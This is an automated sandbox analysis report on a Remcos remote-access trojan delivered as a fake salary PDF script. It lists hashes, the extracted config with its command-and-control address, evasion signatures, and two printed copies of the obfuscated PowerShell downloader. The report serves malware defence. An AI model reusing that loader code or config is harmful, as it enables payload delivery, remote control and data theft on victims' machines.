Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
28-11-2024 06:31
Static task
static1
Behavioral task
behavioral1
Sample
SalaryRevision_pdf.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
SalaryRevision_pdf.vbs
Resource
win10v2004-20241007-en
General
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Target
SalaryRevision_pdf.vbs
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Size
17KB
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MD5
5d1c989d603ebfb90ac34748dc83ecfa
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SHA1
e376e6352049f2f5c67a3fd43d8033c2aeb2a3f4
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SHA256
6fab653d5e3b00f75cb64d5a58b47ae2c63e50d61795c398ac03a07b39707706
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SHA512
cbe77570336d7d9c35140607bf3e5cd804c503f3d583f1bd8f9cc855dff432a46799a756d3fb4c1e7539371dabb5c7aa391d5f3f114e0afc502560a9d3fa2fcd
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SSDEEP
384:ULVKy+9t5Q4LQHsas5E4+atTTkNUPpj+wPOx/fMc34Cj19VVj1BKg:4V5+9t567s7o+R+wWxHMc/nVDBJ
Malware Config
Extracted
remcos
RemoteHost
154.216.18.214:2404
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-AOD6MB
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos family
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Blocklisted process makes network request 5 IoCs
Processes:
powershell.exemsiexec.exeflow pid Process 9 1844 powershell.exe 22 3556 msiexec.exe 24 3556 msiexec.exe 26 3556 msiexec.exe 28 3556 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
WScript.exedescription ioc Process File opened (read-only) \??\Z: WScript.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
msiexec.exepid Process 3556 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exemsiexec.exepid Process 3464 powershell.exe 3556 msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
powershell.exemsiexec.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exepid Process 1844 powershell.exe 1844 powershell.exe 3464 powershell.exe 3464 powershell.exe 3464 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid Process 3464 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 1844 powershell.exe Token: SeDebugPrivilege 3464 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WScript.exepowershell.exedescription pid Process procid_target PID 3800 wrote to memory of 1844 3800 WScript.exe 85 PID 3800 wrote to memory of 1844 3800 WScript.exe 85 PID 3464 wrote to memory of 3556 3464 powershell.exe 95 PID 3464 wrote to memory of 3556 3464 powershell.exe 95 PID 3464 wrote to memory of 3556 3464 powershell.exe 95 PID 3464 wrote to memory of 3556 3464 powershell.exe 95
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SalaryRevision_pdf.vbs"1⤵
- Checks computer location settings
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:3800 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Dyrtidsregulerende='Vaccinisation';;$sildebenets='Epopees';;$Thiobacilli141='Dicolon';;$Grilleringer='Enwraps';;$skattefinansier='Disemboguing';;$sylespids=$host.Name;function slvbedes($Kofilnaglen){If ($sylespids) {$Overstoring=3} for ($Rdbyeren=$Overstoring;;$Rdbyeren+=4){if(!$Kofilnaglen[$Rdbyeren]) { break }$Peeves+=$Kofilnaglen[$Rdbyeren]}$Peeves}function Mongolide($Ridderskabet){ .($Bengthas) ($Ridderskabet)}$Occamism121=slvbedes ' W N H.eU htUds.UsuWFjeEsambIntC.imlReviFriEC unExcT';$Britannian=slvbedes 'BygMva orecz Voi .olTsel sua Cy/';$Montmorillonitic=slvbedes 'UnaTAdel Cishoo1U n2';$Alterman='Met[samNTu.EImbTslu.Kvassufe oRTelVstaI,rnCMedeLamP unoFroi BiNPa,TBilMPluAE iNPaiaD mg.tte EurFil]Ars: Br:A,nsHi es oc,avUAgerVouiUdbtFejYTekPstoRUnaOLamt,ulOUndcOrnOparL .o=Det$P,iMYdaos,aNsk.tFisM ,no,erR Pai LiLHyplPicoKuknT.rI E,T N i vc';$Britannian+=slvbedes ' st5 Fu.Hyp0Row sli(TosWKi iJ,vno.edBruoEn,w ,hs H. PueNU.iTsem Tes1Bac0 ml. ac0F i; Ce PilW foiCoanEpi6Rat4Ung;L,b MasxRaa6,rr4se ;Men BrrAccvTop:Fab1bud3 Qu1V.n. e 0 r)Zef UeuG ExeCrecFopkAnnoAar/Unk2,li0 sk1 Fi0Ove0spr1ses0sek1Tia DeFFiliLyrrChieAarf A oCapxs b/Far1Cus3Kab1per. my0';$Noncommencement=slvbedes 'svrUtissChaeTanRB r-stra Kag G eBaan P t';$sibyllens=slvbedes 'TrohUhutspat CopOves Br:Ned/sav/ReocarthDes2sotlV nqUku. TiiModcR suReg/tntvAfbZBursCifmBuoKM niDi,C VgOI.d/Aa.VHocnIn,gG oe TorA.rnspreUnf.Tanpst,rVokx';$diskettedrevene=slvbedes 'Ind>';$Bengthas=slvbedes ' s.iDoseBetX';$Portalless='spndingsroman';$smithian='\slingedes.drl';Mongolide (slvbedes ' Pa$ ingAktl .nO omb ibas nLska:U mBOmfL,etyIndG FoLs uaBliN TrsskyeDotNshosHes=Jug$TidE fdNTasV.ol:Dema alPcoaP.efd adasosT suAund+Unp$ Mas,usmateiTelT InhProi muaFa N');Mongolide (slvbedes ' s $CigGAnfl M o E.bTabaT pLBar:DistIn IKonLP pNKomR.niM aEBomd Vae ,as My=.aa$Dens kiPerbMeryPalLbeslse.EUntNLapsU r. fkso,sPNonlT mILovTBro(sem$ drD.deI FrsAnmKAareFagTVikTsameUn dt rr,teED nv abeRepNskeEUds)');Mongolide (slvbedes $Alterman);$sibyllens=$Tilnrmedes[0];$Neapolitanskes=(slvbedes 'Ko $Qu gAn L HaOGesB,anA,isl,ld: nmhA.bePalgAdfel.ynUnas Ka=Te NByze ewsu -ti.o .lbDemJIn EIonC NeTRy. MeasEffyY ws reTBygEscoM Ly. Fa$UndoHaocsnecflya Dem ChI Fis nsMsan1Re 2Mo 1');Mongolide ($Neapolitanskes);Mongolide (slvbedes ' Fr$T.kh O esp,gBrned,kn K.sKlv. RyHU feUgea HodAppeDiark.asRej[ Cr$ R N EsoBalnTodcHido XemWanmUneeKa nIn cNepeHipmKale sknAnetInd]dom=ove$ riBCapr Uni u.tVafaskinDr,nsaliDodaForn');$Overstemme=slvbedes 'Els$ Krh L esnvgPire F nO vs .e.JeoDNatoMicwb knEvel .voUnsa PidhydFNoyiMillInseKam( o$ Fossemisy btruysyclskolVkse R nTons a,Che$ rL stisupnKupeArtaHvirafkl doyDeg)';$Linearly=$Blyglansens;Mongolide (slvbedes 'Hel$Li,gDilLTe.O.nmBEloaR,bLPi :divH alJ kaE Oprda.tCeceRkeG,ruRGlasFo,=E g(BloTReoe vesCo tFam-FejpD.mAshiTOpvh Be Uef$ ndLBreiuncNLunEBruANonrAsoL ekYIll)');while (!$Hjertegrs) {Mongolide (slvbedes 'Int$Celg.erlMesoTiebPolaUptls m: Ins MatLykeRibn.yps Mot iroA rrGarm BeeAn nCoceOp sEpi=Aud$ComAIndfLavl,gou vrBu i DenOctgNo e H r') ;Mongolide $Overstemme;Mongolide (slvbedes 'FjesOvetnora utR Hat Ca- .esstiLGehECoxEskrP a, os4');Mongolide (slvbedes 'Pet$DidgEarLXs OBelBFu as,aLTra: Deh orjGr E.egr unt AcEOr,GPotrstissan=M s(PyrtBeveNedsOstTA,p-ImbP riaDe,tCish At R,$ Bol sti enNHoveAgeaGenrs eLDepY Cu)') ;Mongolide (slvbedes 'Non$Un,gAc,LskioFemBUddABroLUti: CrBMimALipNortkPa.BselOE tk des mEva.N EusHyl=Mar$ otGF nL ,eOAfvbdeoaPhoLL u:Tagb omL PenPisD,erLResYLucGChet areT r+Zoo+ He% Te$ mpTAr.i lilsvmnPunrC umslae ekDKasEEstsDes. DrC b.ODraUnecn ent') ;$sibyllens=$Tilnrmedes[$Bankboksens]}$Deleligt229=322280;$Granulocytopoiesis198=29737;Mongolide (slvbedes 'Lap$HagGWo lMisoorabOvea GalGal:Meta splUvelTanOEm p oaTekT isR .kiEftC r.a TelVgalE.uyHim I y= ar KogGseaEHsttOks-FaxcU ioslunDi t GlEPo N ,iT.in Bry$EpilEl,iLu NF nEskaaNe,RFoxlD tY');Mongolide (slvbedes 'f,l$Kongmall ao,abb toaReplI,c:PreA Zim Rei V n oo tpBraeCynpAg tFrui RedK ea ddsTu eKun sco=.ld s [fa,sCuryJonsHu tTile .omR,s. slC eo rnLeuv roeFesrMult ow]Par:F i:TesFAdmr eloDelmMyxBA taPras K em n6For4 MasFugts vralliRabns ogsoj(b n$m.nAPs lOb.ldksoBoapTegaC rtN,nrReliskec piaKonl alAfsyEk.)');Mongolide (slvbedes 'Exs$HypG FeLsvio .kbRelAObjLEk :Unas enK.rmaUdemD cLOveB umEP orC r s.c= .a Rh[Bess leyGsts P.t hiEBriMCon.Dr,tHa.eEmbXBleTPop.sp.eUndns rc EooPreDKy I flnIn g ma]Trk:sta:Gloa Vis AtcNonITraIBlo.OldGHe.eProt.itsRegT RoROpdiGlsnIs,Gsoc(Thi$In A geMfr I ReN UaOPa PLnmEAfvPFoot spIFordMisA Trss leTit)');Mongolide (slvbedes ' A $sekGJimLW aoAdybPl,aFlolfor: TreLarfZaptp,reUtrRBehk Der A aForv sfs Mab orE oLeksBNedeH.tTFru= ov$ absRevK ,fAs yms rLBagbBasEsilRDeo.spesHaruNerbsu,sAfhTH aRVulI ndnRingGen(Esc$D,edFooePuglsaieKv,LEn.IPseGdektelo2Rou2Ove9Nou,s.v$topG orRIncaKv n ysUEp.ls kONonCGavYUddTUndOpe P Flospii unEspusL,rIBijsFog1 D 9Pha8Pri)');Mongolide $Efterkravsbelbet;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1844
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Dyrtidsregulerende='Vaccinisation';;$sildebenets='Epopees';;$Thiobacilli141='Dicolon';;$Grilleringer='Enwraps';;$skattefinansier='Disemboguing';;$sylespids=$host.Name;function slvbedes($Kofilnaglen){If ($sylespids) {$Overstoring=3} for ($Rdbyeren=$Overstoring;;$Rdbyeren+=4){if(!$Kofilnaglen[$Rdbyeren]) { break }$Peeves+=$Kofilnaglen[$Rdbyeren]}$Peeves}function Mongolide($Ridderskabet){ .($Bengthas) ($Ridderskabet)}$Occamism121=slvbedes ' W N H.eU htUds.UsuWFjeEsambIntC.imlReviFriEC unExcT';$Britannian=slvbedes 'BygMva orecz Voi .olTsel sua Cy/';$Montmorillonitic=slvbedes 'UnaTAdel Cishoo1U n2';$Alterman='Met[samNTu.EImbTslu.Kvassufe oRTelVstaI,rnCMedeLamP unoFroi BiNPa,TBilMPluAE iNPaiaD mg.tte EurFil]Ars: Br:A,nsHi es oc,avUAgerVouiUdbtFejYTekPstoRUnaOLamt,ulOUndcOrnOparL .o=Det$P,iMYdaos,aNsk.tFisM ,no,erR Pai LiLHyplPicoKuknT.rI E,T N i vc';$Britannian+=slvbedes ' st5 Fu.Hyp0Row sli(TosWKi iJ,vno.edBruoEn,w ,hs H. PueNU.iTsem Tes1Bac0 ml. ac0F i; Ce PilW foiCoanEpi6Rat4Ung;L,b MasxRaa6,rr4se ;Men BrrAccvTop:Fab1bud3 Qu1V.n. e 0 r)Zef UeuG ExeCrecFopkAnnoAar/Unk2,li0 sk1 Fi0Ove0spr1ses0sek1Tia DeFFiliLyrrChieAarf A oCapxs b/Far1Cus3Kab1per. my0';$Noncommencement=slvbedes 'svrUtissChaeTanRB r-stra Kag G eBaan P t';$sibyllens=slvbedes 'TrohUhutspat CopOves Br:Ned/sav/ReocarthDes2sotlV nqUku. TiiModcR suReg/tntvAfbZBursCifmBuoKM niDi,C VgOI.d/Aa.VHocnIn,gG oe TorA.rnspreUnf.Tanpst,rVokx';$diskettedrevene=slvbedes 'Ind>';$Bengthas=slvbedes ' s.iDoseBetX';$Portalless='spndingsroman';$smithian='\slingedes.drl';Mongolide (slvbedes ' Pa$ ingAktl .nO omb ibas nLska:U mBOmfL,etyIndG FoLs uaBliN TrsskyeDotNshosHes=Jug$TidE fdNTasV.ol:Dema alPcoaP.efd adasosT suAund+Unp$ Mas,usmateiTelT InhProi muaFa N');Mongolide (slvbedes ' s $CigGAnfl M o E.bTabaT pLBar:DistIn IKonLP pNKomR.niM aEBomd Vae ,as My=.aa$Dens kiPerbMeryPalLbeslse.EUntNLapsU r. fkso,sPNonlT mILovTBro(sem$ drD.deI FrsAnmKAareFagTVikTsameUn dt rr,teED nv abeRepNskeEUds)');Mongolide (slvbedes $Alterman);$sibyllens=$Tilnrmedes[0];$Neapolitanskes=(slvbedes 'Ko $Qu gAn L HaOGesB,anA,isl,ld: nmhA.bePalgAdfel.ynUnas Ka=Te NByze ewsu -ti.o .lbDemJIn EIonC NeTRy. MeasEffyY ws reTBygEscoM Ly. Fa$UndoHaocsnecflya Dem ChI Fis nsMsan1Re 2Mo 1');Mongolide ($Neapolitanskes);Mongolide (slvbedes ' Fr$T.kh O esp,gBrned,kn K.sKlv. RyHU feUgea HodAppeDiark.asRej[ Cr$ R N EsoBalnTodcHido XemWanmUneeKa nIn cNepeHipmKale sknAnetInd]dom=ove$ riBCapr Uni u.tVafaskinDr,nsaliDodaForn');$Overstemme=slvbedes 'Els$ Krh L esnvgPire F nO vs .e.JeoDNatoMicwb knEvel .voUnsa PidhydFNoyiMillInseKam( o$ Fossemisy btruysyclskolVkse R nTons a,Che$ rL stisupnKupeArtaHvirafkl doyDeg)';$Linearly=$Blyglansens;Mongolide (slvbedes 'Hel$Li,gDilLTe.O.nmBEloaR,bLPi :divH alJ kaE Oprda.tCeceRkeG,ruRGlasFo,=E g(BloTReoe vesCo tFam-FejpD.mAshiTOpvh Be Uef$ ndLBreiuncNLunEBruANonrAsoL ekYIll)');while (!$Hjertegrs) {Mongolide (slvbedes 'Int$Celg.erlMesoTiebPolaUptls m: Ins MatLykeRibn.yps Mot iroA rrGarm BeeAn nCoceOp sEpi=Aud$ComAIndfLavl,gou vrBu i DenOctgNo e H r') ;Mongolide $Overstemme;Mongolide (slvbedes 'FjesOvetnora utR Hat Ca- .esstiLGehECoxEskrP a, os4');Mongolide (slvbedes 'Pet$DidgEarLXs OBelBFu as,aLTra: Deh orjGr E.egr unt AcEOr,GPotrstissan=M s(PyrtBeveNedsOstTA,p-ImbP riaDe,tCish At R,$ Bol sti enNHoveAgeaGenrs eLDepY Cu)') ;Mongolide (slvbedes 'Non$Un,gAc,LskioFemBUddABroLUti: CrBMimALipNortkPa.BselOE tk des mEva.N EusHyl=Mar$ otGF nL ,eOAfvbdeoaPhoLL u:Tagb omL PenPisD,erLResYLucGChet areT r+Zoo+ He% Te$ mpTAr.i lilsvmnPunrC umslae ekDKasEEstsDes. DrC b.ODraUnecn ent') ;$sibyllens=$Tilnrmedes[$Bankboksens]}$Deleligt229=322280;$Granulocytopoiesis198=29737;Mongolide (slvbedes 'Lap$HagGWo lMisoorabOvea GalGal:Meta splUvelTanOEm p oaTekT isR .kiEftC r.a TelVgalE.uyHim I y= ar KogGseaEHsttOks-FaxcU ioslunDi t GlEPo N ,iT.in Bry$EpilEl,iLu NF nEskaaNe,RFoxlD tY');Mongolide (slvbedes 'f,l$Kongmall ao,abb toaReplI,c:PreA Zim Rei V n oo tpBraeCynpAg tFrui RedK ea ddsTu eKun sco=.ld s [fa,sCuryJonsHu tTile .omR,s. slC eo rnLeuv roeFesrMult ow]Par:F i:TesFAdmr eloDelmMyxBA taPras K em n6For4 MasFugts vralliRabns ogsoj(b n$m.nAPs lOb.ldksoBoapTegaC rtN,nrReliskec piaKonl alAfsyEk.)');Mongolide (slvbedes 'Exs$HypG FeLsvio .kbRelAObjLEk :Unas enK.rmaUdemD cLOveB umEP orC r s.c= .a Rh[Bess leyGsts P.t hiEBriMCon.Dr,tHa.eEmbXBleTPop.sp.eUndns rc EooPreDKy I flnIn g ma]Trk:sta:Gloa Vis AtcNonITraIBlo.OldGHe.eProt.itsRegT RoROpdiGlsnIs,Gsoc(Thi$In A geMfr I ReN UaOPa PLnmEAfvPFoot spIFordMisA Trss leTit)');Mongolide (slvbedes ' A $sekGJimLW aoAdybPl,aFlolfor: TreLarfZaptp,reUtrRBehk Der A aForv sfs Mab orE oLeksBNedeH.tTFru= ov$ absRevK ,fAs yms rLBagbBasEsilRDeo.spesHaruNerbsu,sAfhTH aRVulI ndnRingGen(Esc$D,edFooePuglsaieKv,LEn.IPseGdektelo2Rou2Ove9Nou,s.v$topG orRIncaKv n ysUEp.ls kONonCGavYUddTUndOpe P Flospii unEspusL,rIBijsFog1 D 9Pha8Pri)');Mongolide $Efterkravsbelbet;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:3556
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1KB
MD571444def27770d9071039d005d0323b7
SHA1cef8654e95495786ac9347494f4417819373427e
SHA2568438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9
SHA512a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
458KB
MD5a1d3a93bddabdbbc3cf313f142230d21
SHA139be7f303d116a32d03e223e57cc2f628c74cf1d
SHA2562d8104c76845810795e0984cacdf707c91e7683f884d2f855053412da4e86235
SHA5128b0d396dc4373d4e3b77d409eacdd26d16e474bb3470e103c1696fd8726d9624879b14983c0d8abc3265c07a2e0533ef48f07e5ee5f6833de2f06fdac87817c1